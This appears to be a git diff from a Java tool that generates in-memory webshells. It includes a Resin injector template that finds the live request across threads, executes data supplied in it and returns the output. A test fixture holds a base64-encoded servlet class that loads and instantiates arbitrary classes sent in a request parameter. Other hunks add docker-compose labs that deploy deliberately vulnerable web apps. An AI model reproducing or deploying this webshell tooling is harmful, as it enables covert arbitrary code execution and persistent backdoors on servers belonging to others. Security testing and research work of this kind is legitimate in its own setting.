String data = getDataFromReq(request);
|
||||||
|
if (data != null && !data.isEmpty()) {
|
||||||
|
String result = "";
|
||||||
|
try {
|
||||||
|
result = run(data);
|
||||||
|
} catch (Throwable e) {
|
||||||
|
result = getErrorMessage(e);
|
||||||
|
}
|
||||||
|
if (result != null) {
|
||||||
|
try {
|
||||||
|
OutputStream outputStream = (OutputStream) invokeMethod(response, "getOutputStream", null, null);
|
||||||
|
outputStream.write(result.getBytes());
|
||||||
|
outputStream.flush();
|
||||||
|
outputStream.close();
|
||||||
|
} catch (Throwable e) {
|
||||||
|
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
|
||||||
|
writer.write(result);
|
||||||
|
writer.flush();
|
||||||
|
writer.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch (Throwable e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
} finally {
|
||||||
|
ok = true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private Object getCurrentRequest() {
|
||||||
|
Thread currentThread = Thread.currentThread();
|
||||||
|
Object request = getRequestFromThread(currentThread, currentThread);
|
||||||
|
if (request != null) {
|
||||||
|
return request;
|
||||||
|
}
|
||||||
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
|
for (Thread thread : threads) {
|
||||||
|
request = getRequestFromThread(thread, currentThread);
|
||||||
|
if (request != null) {
|
||||||
|
return request;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
private Object getRequestFromThread(Thread thread, Thread currentThread) {
|
||||||
|
Object target = null;
|
||||||
|
try {
|
||||||
|
target = getFieldValue(thread, "target");
|
||||||
|
} catch (Throwable e) {
|
||||||
|
try {
|
||||||
|
target = getFieldValue(getFieldValue(thread, "holder"), "task");
|
||||||
|
} catch (Throwable ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return getRequestFromTarget(target, currentThread);
|
||||||
|
}
|
||||||
|
|
||||||
|
private Object getRequestFromTarget(Object target, Thread currentThread) {
|
||||||
|
if (target == null) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
Object request = null;
|
||||||
|
if ("com.caucho.server.http.HttpRequest".equals(target.getClass().getName())) {
|
||||||
|
request = target;
|
||||||
|
} else {
|
||||||
|
try {
|
||||||
|
request = getFieldValue(target, "request");
|
||||||
|
} catch (Throwable ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (request == null || !"com.caucho.server.http.HttpRequest".equals(request.getClass().getName())) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
Object requestThread = getFieldValue(request, "_thread");
|
||||||
|
if (requestThread != null && requestThread != currentThread) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
} catch (Throwable ignored) {
|
||||||
|
}
|
||||||
|
return request;
|
||||||
|
}
|
||||||
|
|
||||||
|
private String getDataFromReq(Object request) throws Exception {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
private String run(String data) throws Exception {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||||
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
|
Method method = null;
|
||||||
|
while (clazz != null && method == null) {
|
||||||
|
try {
|
||||||
|
if (paramClazz == null) {
|
||||||
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
|
} else {
|
||||||
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException(obj.getClass() + " Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object getFieldValue(Object obj, String name) throws Exception {
|
||||||
|
Class<?> clazz = obj.getClass();
|
||||||
|
while (clazz != Object.class) {
|
||||||
|
try {
|
||||||
|
Field field = clazz.getDeclaredField(name);
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field.get(obj);
|
||||||
|
} catch (NoSuchFieldException var5) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getErrorMessage(Throwable throwable) {
|
||||||
|
PrintStream printStream = null;
|
||||||
|
try {
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
printStream = new PrintStream(outputStream);
|
||||||
|
throwable.printStackTrace(printStream);
|
||||||
|
return outputStream.toString();
|
||||||
|
} finally {
|
||||||
|
if (printStream != null) {
|
||||||
|
printStream.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -114,6 +114,8 @@ public class CommonUtil {
|
|||||||
|
|
||||||
public static String getWebPackageNameForServer(String server) {
|
public static String getWebPackageNameForServer(String server) {
|
||||||
switch (server) {
|
switch (server) {
|
||||||
|
case Jetty5:
|
||||||
|
return "org.mortbay.jetty.servlet.handlers";
|
||||||
case Jetty:
|
case Jetty:
|
||||||
return "org.eclipse.jetty.servlet.handlers";
|
return "org.eclipse.jetty.servlet.handlers";
|
||||||
case Undertow:
|
case Undertow:
|
||||||
@@ -128,6 +130,8 @@ public class CommonUtil {
|
|||||||
return "weblogic.servlet.internal.handlers";
|
return "weblogic.servlet.internal.handlers";
|
||||||
case Resin:
|
case Resin:
|
||||||
return "com.caucho.server.dispatch.handlers";
|
return "com.caucho.server.dispatch.handlers";
|
||||||
|
case Resin2:
|
||||||
|
return "com.caucho.server.http.handlers";
|
||||||
case BES:
|
case BES:
|
||||||
return "com.bes.enterprise.webtier.web.handlers";
|
return "com.bes.enterprise.webtier.web.handlers";
|
||||||
case Apusic:
|
case Apusic:
|
||||||
@@ -148,4 +152,4 @@ public class CommonUtil {
|
|||||||
public static String getSimpleName(String className) {
|
public static String getSimpleName(String className) {
|
||||||
return className.substring(className.lastIndexOf(".") + 1);
|
return className.substring(className.lastIndexOf(".") + 1);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+1
-1
@@ -95,7 +95,7 @@ class CustomShellGeneratorTest {
|
|||||||
|
|
||||||
@Test
|
@Test
|
||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
void testJakartaServlet(){
|
void testJakartaServlet() {
|
||||||
byte[] bytes = Base64.getDecoder().decode("yv66vgAAADcAgQoAGwBMCAA4CwA7AE0KABoATgoAGgBPCgAPAFALADwAUQoAUgBTBwBUBwBVCgAKAFYIAFcKAA8AWAgAWQcAWgcAWwoADwBcBwBdCgBeAF8HAC8IAGAIAGEKABIAYggAYwgAZAcAZQcAZgcAZwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAaTEJhc2U2NENsYXNzTG9hZGVyU2VydmxldDsBAARpbml0AQAiKExqYWthcnRhL3NlcnZsZXQvU2VydmxldENvbmZpZzspVgEABmNvbmZpZwEAH0xqYWthcnRhL3NlcnZsZXQvU2VydmxldENvbmZpZzsBAApFeGNlcHRpb25zBwBoAQAQZ2V0U2VydmxldENvbmZpZwEAISgpTGpha2FydGEvc2VydmxldC9TZXJ2bGV0Q29uZmlnOwEAB3NlcnZpY2UBAEQoTGpha2FydGEvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDtMamFrYXJ0YS9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTspVgEABWJ5dGVzAQACW0IBAANvYmoBABJMamF2YS9sYW5nL09iamVjdDsBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQADcmVxAQAgTGpha2FydGEvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDsBAANyZXMBACFMamFrYXJ0YS9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTsBAARkYXRhAQASTGphdmEvbGFuZy9TdHJpbmc7AQANU3RhY2tNYXBUYWJsZQcAaQcAagcAawEADGRlY29kZUJhc2U2NAEAFihMamF2YS9sYW5nL1N0cmluZzspW0IBAAxkZWNvZGVyQ2xhc3MBABFMamF2YS9sYW5nL0NsYXNzOwEAB2RlY29kZXIBAAR2YXI0AQAJYmFzZTY0U3RyAQAWTG9jYWxWYXJpYWJsZVR5cGVUYWJsZQEAFExqYXZhL2xhbmcvQ2xhc3M8Kj47AQAOZ2V0U2VydmxldEluZm8BABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEAB2Rlc3Ryb3kBAApTb3VyY2VGaWxlAQAdQmFzZTY0Q2xhc3NMb2FkZXJTZXJ2bGV0LmphdmEMAB0AHgwAbABtDAA+AD8MAG4AbwwAcABxDAByAHMHAHQMAHUAdgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgwAHQB3AQAWc3VuLm1pc2MuQkFTRTY0RGVjb2RlcgwAeAB5AQAMZGVjb2RlQnVmZmVyAQAPamF2YS9sYW5nL0NsYXNzAQAQamF2YS9sYW5nL1N0cmluZwwAegB7AQAQamF2YS9sYW5nL09iamVjdAcAfAwAfQB+AQAQamF2YS51dGlsLkJhc2U2NAEACmdldERlY29kZXIMAH8AgAEABmRlY29kZQEAAAEAGEJhc2U2NENsYXNzTG9hZGVyU2VydmxldAEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgEAF2pha2FydGEvc2VydmxldC9TZXJ2bGV0AQAgamFrYXJ0YS9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24BAB5qYWthcnRhL3NlcnZsZXQvU2VydmxldFJlcXVlc3QBAB9qYWthcnRhL3NlcnZsZXQvU2VydmxldFJlc3BvbnNlAQATamF2YS9pby9JT0V4Y2VwdGlvbgEADGdldFBhcmFtZXRlcgEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQALZGVmaW5lQ2xhc3MBACkoTGphdmEvbGFuZy9TdHJpbmc7W0JJSSlMamF2YS9sYW5nL0NsYXNzOwEAC25ld0luc3RhbmNlAQAUKClMamF2YS9sYW5nL09iamVjdDsBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAE2phdmEvaW8vUHJpbnRXcml0ZXIBAAVwcmludAEAFShMamF2YS9sYW5nL09iamVjdDspVgEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgEAB2Zvck5hbWUBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7AQAJZ2V0TWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwAhABoAGwABABwAAAAHAAEAHQAeAAEAHwAAAC8AAQABAAAABSq3AAGxAAAAAgAgAAAABgABAAAACQAhAAAADAABAAAABQAiACMAAAABACQAJQACAB8AAAA1AAAAAgAAAAGxAAAAAgAgAAAABgABAAAADgAhAAAAFgACAAAAAQAiACMAAAAAAAEAJgAnAAEAKAAAAAQAAQApAAEAKgArAAEAHwAAACwAAQABAAAAAgGwAAAAAgAgAAAABgABAAAAEgAhAAAADAABAAAAAgAiACMAAAABACwALQACAB8AAADjAAUABgAAADorEgK5AAMCAE4tuAAEOgQqARkEAxkEvrYABbYABjoFLLkABwEAGQW2AAinAA86BLsAClkZBLcAC7+xAAEACQAqAC0ACQADACAAAAAiAAgAAAAXAAkAGQAPABoAHwAbACoAHgAtABwALwAdADkAHwAhAAAASAAHAA8AGwAuAC8ABAAfAAsAMAAxAAUALwAKADIAMwAEAAAAOgAiACMAAAAAADoANAA1AAEAAAA6ADYANwACAAkAMQA4ADkAAwA6AAAAGQAC/wAtAAQHABoHADsHADwHABAAAQcACQsAKAAAAAYAAgApAD0ACAA+AD8AAgAfAAAA+gAGAAQAAABkEgy4AA1MKxIOBL0AD1kDEhBTtgARK7YABgS9ABJZAypTtgATwAAUsEwSFbgADU0sEhYDvQAPtgARAQO9ABK2ABNOLbYAFxIYBL0AD1kDEhBTtgARLQS9ABJZAypTtgATwAAUsAABAAAAJwAoAAkABAAgAAAAGgAGAAAAIwAGACQAKAAlACkAJgAvACcAQgAoACEAAAA0AAUABgAiAEAAQQABAC8ANQBAAEEAAgBCACIAQgAxAAMAKQA7AEMAMwABAAAAZABEADkAAABFAAAAFgACAAYAIgBAAEYAAQAvADUAQABGAAIAOgAAAAYAAWgHAAkAKAAAAAQAAQAJAAEARwBIAAEAHwAAAC0AAQABAAAAAxIZsAAAAAIAIAAAAAYAAQAAAC4AIQAAAAwAAQAAAAMAIgAjAAAAAQBJAB4AAQAfAAAAKwAAAAEAAAABsQAAAAIAIAAAAAYAAQAAADQAIQAAAAwAAQAAAAEAIgAjAAAAAQBKAAAAAgBL");
|
byte[] bytes = Base64.getDecoder().decode("yv66vgAAADcAgQoAGwBMCAA4CwA7AE0KABoATgoAGgBPCgAPAFALADwAUQoAUgBTBwBUBwBVCgAKAFYIAFcKAA8AWAgAWQcAWgcAWwoADwBcBwBdCgBeAF8HAC8IAGAIAGEKABIAYggAYwgAZAcAZQcAZgcAZwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAaTEJhc2U2NENsYXNzTG9hZGVyU2VydmxldDsBAARpbml0AQAiKExqYWthcnRhL3NlcnZsZXQvU2VydmxldENvbmZpZzspVgEABmNvbmZpZwEAH0xqYWthcnRhL3NlcnZsZXQvU2VydmxldENvbmZpZzsBAApFeGNlcHRpb25zBwBoAQAQZ2V0U2VydmxldENvbmZpZwEAISgpTGpha2FydGEvc2VydmxldC9TZXJ2bGV0Q29uZmlnOwEAB3NlcnZpY2UBAEQoTGpha2FydGEvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDtMamFrYXJ0YS9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTspVgEABWJ5dGVzAQACW0IBAANvYmoBABJMamF2YS9sYW5nL09iamVjdDsBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQADcmVxAQAgTGpha2FydGEvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDsBAANyZXMBACFMamFrYXJ0YS9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTsBAARkYXRhAQASTGphdmEvbGFuZy9TdHJpbmc7AQANU3RhY2tNYXBUYWJsZQcAaQcAagcAawEADGRlY29kZUJhc2U2NAEAFihMamF2YS9sYW5nL1N0cmluZzspW0IBAAxkZWNvZGVyQ2xhc3MBABFMamF2YS9sYW5nL0NsYXNzOwEAB2RlY29kZXIBAAR2YXI0AQAJYmFzZTY0U3RyAQAWTG9jYWxWYXJpYWJsZVR5cGVUYWJsZQEAFExqYXZhL2xhbmcvQ2xhc3M8Kj47AQAOZ2V0U2VydmxldEluZm8BABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEAB2Rlc3Ryb3kBAApTb3VyY2VGaWxlAQAdQmFzZTY0Q2xhc3NMb2FkZXJTZXJ2bGV0LmphdmEMAB0AHgwAbABtDAA+AD8MAG4AbwwAcABxDAByAHMHAHQMAHUAdgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgwAHQB3AQAWc3VuLm1pc2MuQkFTRTY0RGVjb2RlcgwAeAB5AQAMZGVjb2RlQnVmZmVyAQAPamF2YS9sYW5nL0NsYXNzAQAQamF2YS9sYW5nL1N0cmluZwwAegB7AQAQamF2YS9sYW5nL09iamVjdAcAfAwAfQB+AQAQamF2YS51dGlsLkJhc2U2NAEACmdldERlY29kZXIMAH8AgAEABmRlY29kZQEAAAEAGEJhc2U2NENsYXNzTG9hZGVyU2VydmxldAEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgEAF2pha2FydGEvc2VydmxldC9TZXJ2bGV0AQAgamFrYXJ0YS9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24BAB5qYWthcnRhL3NlcnZsZXQvU2VydmxldFJlcXVlc3QBAB9qYWthcnRhL3NlcnZsZXQvU2VydmxldFJlc3BvbnNlAQATamF2YS9pby9JT0V4Y2VwdGlvbgEADGdldFBhcmFtZXRlcgEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQALZGVmaW5lQ2xhc3MBACkoTGphdmEvbGFuZy9TdHJpbmc7W0JJSSlMamF2YS9sYW5nL0NsYXNzOwEAC25ld0luc3RhbmNlAQAUKClMamF2YS9sYW5nL09iamVjdDsBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAE2phdmEvaW8vUHJpbnRXcml0ZXIBAAVwcmludAEAFShMamF2YS9sYW5nL09iamVjdDspVgEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgEAB2Zvck5hbWUBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7AQAJZ2V0TWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwAhABoAGwABABwAAAAHAAEAHQAeAAEAHwAAAC8AAQABAAAABSq3AAGxAAAAAgAgAAAABgABAAAACQAhAAAADAABAAAABQAiACMAAAABACQAJQACAB8AAAA1AAAAAgAAAAGxAAAAAgAgAAAABgABAAAADgAhAAAAFgACAAAAAQAiACMAAAAAAAEAJgAnAAEAKAAAAAQAAQApAAEAKgArAAEAHwAAACwAAQABAAAAAgGwAAAAAgAgAAAABgABAAAAEgAhAAAADAABAAAAAgAiACMAAAABACwALQACAB8AAADjAAUABgAAADorEgK5AAMCAE4tuAAEOgQqARkEAxkEvrYABbYABjoFLLkABwEAGQW2AAinAA86BLsAClkZBLcAC7+xAAEACQAqAC0ACQADACAAAAAiAAgAAAAXAAkAGQAPABoAHwAbACoAHgAtABwALwAdADkAHwAhAAAASAAHAA8AGwAuAC8ABAAfAAsAMAAxAAUALwAKADIAMwAEAAAAOgAiACMAAAAAADoANAA1AAEAAAA6ADYANwACAAkAMQA4ADkAAwA6AAAAGQAC/wAtAAQHABoHADsHADwHABAAAQcACQsAKAAAAAYAAgApAD0ACAA+AD8AAgAfAAAA+gAGAAQAAABkEgy4AA1MKxIOBL0AD1kDEhBTtgARK7YABgS9ABJZAypTtgATwAAUsEwSFbgADU0sEhYDvQAPtgARAQO9ABK2ABNOLbYAFxIYBL0AD1kDEhBTtgARLQS9ABJZAypTtgATwAAUsAABAAAAJwAoAAkABAAgAAAAGgAGAAAAIwAGACQAKAAlACkAJgAvACcAQgAoACEAAAA0AAUABgAiAEAAQQABAC8ANQBAAEEAAgBCACIAQgAxAAMAKQA7AEMAMwABAAAAZABEADkAAABFAAAAFgACAAYAIgBAAEYAAQAvADUAQABGAAIAOgAAAAYAAWgHAAkAKAAAAAQAAQAJAAEARwBIAAEAHwAAAC0AAQABAAAAAxIZsAAAAAIAIAAAAAYAAQAAAC4AIQAAAAwAAQAAAAMAIgAjAAAAAQBJAB4AAQAfAAAAKwAAAAEAAAABsQAAAAIAIAAAAAYAAQAAADQAIQAAAAwAAQAAAAEAIgAjAAAAAQBKAAAAAgBL");
|
||||||
String className = CommonUtil.generateClassName();
|
String className = CommonUtil.generateClassName();
|
||||||
ShellConfig shellConfig = ShellConfig.builder()
|
ShellConfig shellConfig = ShellConfig.builder()
|
||||||
|
|||||||
@@ -1,5 +1,5 @@
|
|||||||
[versions]
|
[versions]
|
||||||
asm = "9.10" # https://mvnrepository.com/artifact/org.ow2.asm/asm
|
asm = "9.10.1" # https://mvnrepository.com/artifact/org.ow2.asm/asm
|
||||||
jna = "5.13.0" # 为适配 JDK6+ 这个不可修改
|
jna = "5.13.0" # 为适配 JDK6+ 这个不可修改
|
||||||
bcel = "5.2"
|
bcel = "5.2"
|
||||||
javax-servlet-api = "3.0.1"
|
javax-servlet-api = "3.0.1"
|
||||||
@@ -15,13 +15,13 @@ alibaba-dubbo = "2.6.12"
|
|||||||
apache-dubbo = "2.7.6"
|
apache-dubbo = "2.7.6"
|
||||||
tomcat = "8.5.85"
|
tomcat = "8.5.85"
|
||||||
|
|
||||||
byte-buddy = "1.18.8" # https://mvnrepository.com/artifact/net.bytebuddy/byte-buddy
|
byte-buddy = "1.18.12" # https://mvnrepository.com/artifact/net.bytebuddy/byte-buddy
|
||||||
commons-io = "2.22.0" # https://mvnrepository.com/artifact/commons-io/commons-io
|
commons-io = "2.22.0" # https://mvnrepository.com/artifact/commons-io/commons-io
|
||||||
commons-lang3 = "3.20.0" # https://mvnrepository.com/artifact/org.apache.commons/commons-lang3
|
commons-lang3 = "3.20.0" # https://mvnrepository.com/artifact/org.apache.commons/commons-lang3
|
||||||
commons-codec = "1.22.0" # https://mvnrepository.com/artifact/commons-codec/commons-codec
|
commons-codec = "1.22.1" # https://mvnrepository.com/artifact/commons-codec/commons-codec
|
||||||
logback = "1.5.32" # https://mvnrepository.com/artifact/ch.qos.logback/logback-classic
|
logback = "1.5.38" # https://mvnrepository.com/artifact/ch.qos.logback/logback-classic
|
||||||
okhttp3 = "5.3.2" # https://mvnrepository.com/artifact/com.squareup.okhttp3/okhttp
|
okhttp3 = "5.5.0" # https://mvnrepository.com/artifact/com.squareup.okhttp3/okhttp
|
||||||
fastjson2 = "2.0.62" # https://mvnrepository.com/artifact/com.alibaba.fastjson2/fastjson2
|
fastjson2 = "2.0.64" # https://mvnrepository.com/artifact/com.alibaba.fastjson2/fastjson2
|
||||||
java-websocket = "1.6.0" # https://mvnrepository.com/artifact/org.java-websocket/Java-WebSocket
|
java-websocket = "1.6.0" # https://mvnrepository.com/artifact/org.java-websocket/Java-WebSocket
|
||||||
|
|
||||||
mockito = "5.21.0"
|
mockito = "5.21.0"
|
||||||
@@ -75,4 +75,4 @@ testcontainers = ["testcontainers", "testcontainers-junit-jupiter"]
|
|||||||
|
|
||||||
[plugins]
|
[plugins]
|
||||||
lombok = { id = "io.freefair.lombok", version = "9.5.0" } # https://plugins.gradle.org/plugin/io.freefair.lombok
|
lombok = { id = "io.freefair.lombok", version = "9.5.0" } # https://plugins.gradle.org/plugin/io.freefair.lombok
|
||||||
shadow = { id = "com.gradleup.shadow", version = "9.4.1" } # https://plugins.gradle.org/plugin/com.gradleup.shadow
|
shadow = { id = "com.gradleup.shadow", version = "9.4.1" } # https://plugins.gradle.org/plugin/com.gradleup.shadow
|
||||||
|
|||||||
@@ -8,4 +8,4 @@ services:
|
|||||||
environment:
|
environment:
|
||||||
JAVA_OPTS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
|
JAVA_OPTS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
|
||||||
volumes:
|
volumes:
|
||||||
- ../../../vul/vul-webapp/build/libs/vul-webapp.war:/usr/local/jboss/server/web/deploy/app.war
|
- ../../../vul/vul-webapp-servlet2/build/libs/vul-webapp-servlet2.war:/usr/local/jboss/server/web/deploy/app.war
|
||||||
|
|||||||
@@ -0,0 +1,10 @@
|
|||||||
|
services:
|
||||||
|
jetty5110:
|
||||||
|
image: reajason/jetty:5.1.10-jdk6
|
||||||
|
ports:
|
||||||
|
- "8888:8080"
|
||||||
|
- "5005:5005"
|
||||||
|
environment:
|
||||||
|
JAVA_TOOL_OPTIONS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
|
||||||
|
volumes:
|
||||||
|
- ../../../vul/vul-webapp-servlet2/build/libs/vul-webapp-servlet2.war:/usr/local/jetty/webapps/app.war
|
||||||
@@ -8,4 +8,4 @@ services:
|
|||||||
environment:
|
environment:
|
||||||
JAVA_TOOL_OPTIONS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
|
JAVA_TOOL_OPTIONS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
|
||||||
volumes:
|
volumes:
|
||||||
- ../../../vul/vul-webapp/build/libs/vul-webapp.war:/usr/local/resin2/webapps/app.war
|
- ../../../vul/vul-webapp-servlet2/build/libs/vul-webapp-servlet2.war:/usr/local/resin2/webapps/app.war
|
||||||
@@ -8,4 +8,4 @@ services:
|
|||||||
environment:
|
environment:
|
||||||
JAVA_OPTS: "-agentlib:jdwp=transport=dt_socket,server=y,address=5005,suspend=n"
|
JAVA_OPTS: "-agentlib:jdwp=transport=dt_socket,server=y,address=5005,suspend=n"
|
||||||
volumes:
|
volumes:
|
||||||
- ../../../vul/vul-webapp/build/libs/vul-webapp.war:/opt/oracle/wls1036/user_projects/domains/base_domain/autodeploy/app.war
|
- ../../../vul/vul-webapp-servlet2/build/libs/vul-webapp-servlet2.war:/opt/oracle/wls1036/user_projects/domains/base_domain/autodeploy/app.war
|
||||||
|
|||||||
@@ -0,0 +1,17 @@
|
|||||||
|
services:
|
||||||
|
admin:
|
||||||
|
image: reajason/xxl-job:2.0.2-admin
|
||||||
|
depends_on:
|
||||||
|
- db
|
||||||
|
ports:
|
||||||
|
- "8080:8080"
|
||||||
|
executor:
|
||||||
|
image: reajason/xxl-job:2.0.2-executor
|
||||||
|
depends_on:
|
||||||
|
- admin
|
||||||
|
ports:
|
||||||
|
- "9999:9999"
|
||||||
|
db:
|
||||||
|
image: mysql:8
|
||||||
|
environment:
|
||||||
|
- MYSQL_ROOT_PASSWORD=root
|
||||||
@@ -0,0 +1,17 @@
|
|||||||
|
services:
|
||||||
|
admin:
|
||||||
|
image: reajason/xxl-job:2.1.2-admin
|
||||||
|
depends_on:
|
||||||
|
- db
|
||||||
|
ports:
|
||||||
|
- "8080:8080"
|
||||||
|
executor:
|
||||||
|
image: reajason/xxl-job:2.1.2-executor
|
||||||
|
depends_on:
|
||||||
|
- admin
|
||||||
|
ports:
|
||||||
|
- "9999:9999"
|
||||||
|
db:
|
||||||
|
image: mysql:8
|
||||||
|
environment:
|
||||||
|
- MYSQL_ROOT_PASSWORD=root
|
||||||
@@ -16,6 +16,7 @@ public class ContainerTool {
|
|||||||
public static final MountableFile warExpressionFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-webapp-expression", "build", "libs", "vul-webapp-expression.war").toAbsolutePath());
|
public static final MountableFile warExpressionFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-webapp-expression", "build", "libs", "vul-webapp-expression.war").toAbsolutePath());
|
||||||
public static final MountableFile warDeserializeFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-webapp-deserialize", "build", "libs", "vul-webapp-deserialize.war").toAbsolutePath());
|
public static final MountableFile warDeserializeFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-webapp-deserialize", "build", "libs", "vul-webapp-deserialize.war").toAbsolutePath());
|
||||||
public static final MountableFile warFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-webapp", "build", "libs", "vul-webapp.war").toAbsolutePath(), 0666);
|
public static final MountableFile warFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-webapp", "build", "libs", "vul-webapp.war").toAbsolutePath(), 0666);
|
||||||
|
public static final MountableFile servlet2WarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-webapp-servlet2", "build", "libs", "vul-webapp-servlet2.war").toAbsolutePath(), 0666);
|
||||||
public static final MountableFile struts2WarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-struts2", "build", "libs", "vul-struts2.war").toAbsolutePath());
|
public static final MountableFile struts2WarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-struts2", "build", "libs", "vul-struts2.war").toAbsolutePath());
|
||||||
public static final MountableFile springBoot2WarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot2", "build", "libs", "vul-springboot2.war").toAbsolutePath());
|
public static final MountableFile springBoot2WarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot2", "build", "libs", "vul-springboot2.war").toAbsolutePath());
|
||||||
|
|
||||||
@@ -27,6 +28,8 @@ public class ContainerTool {
|
|||||||
public static final MountableFile springBoot3JarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot3", "build", "libs", "vul-springboot3.jar").toAbsolutePath());
|
public static final MountableFile springBoot3JarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot3", "build", "libs", "vul-springboot3.jar").toAbsolutePath());
|
||||||
public static final MountableFile springBoot359JarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot359", "build", "libs", "vul-springboot359.jar").toAbsolutePath());
|
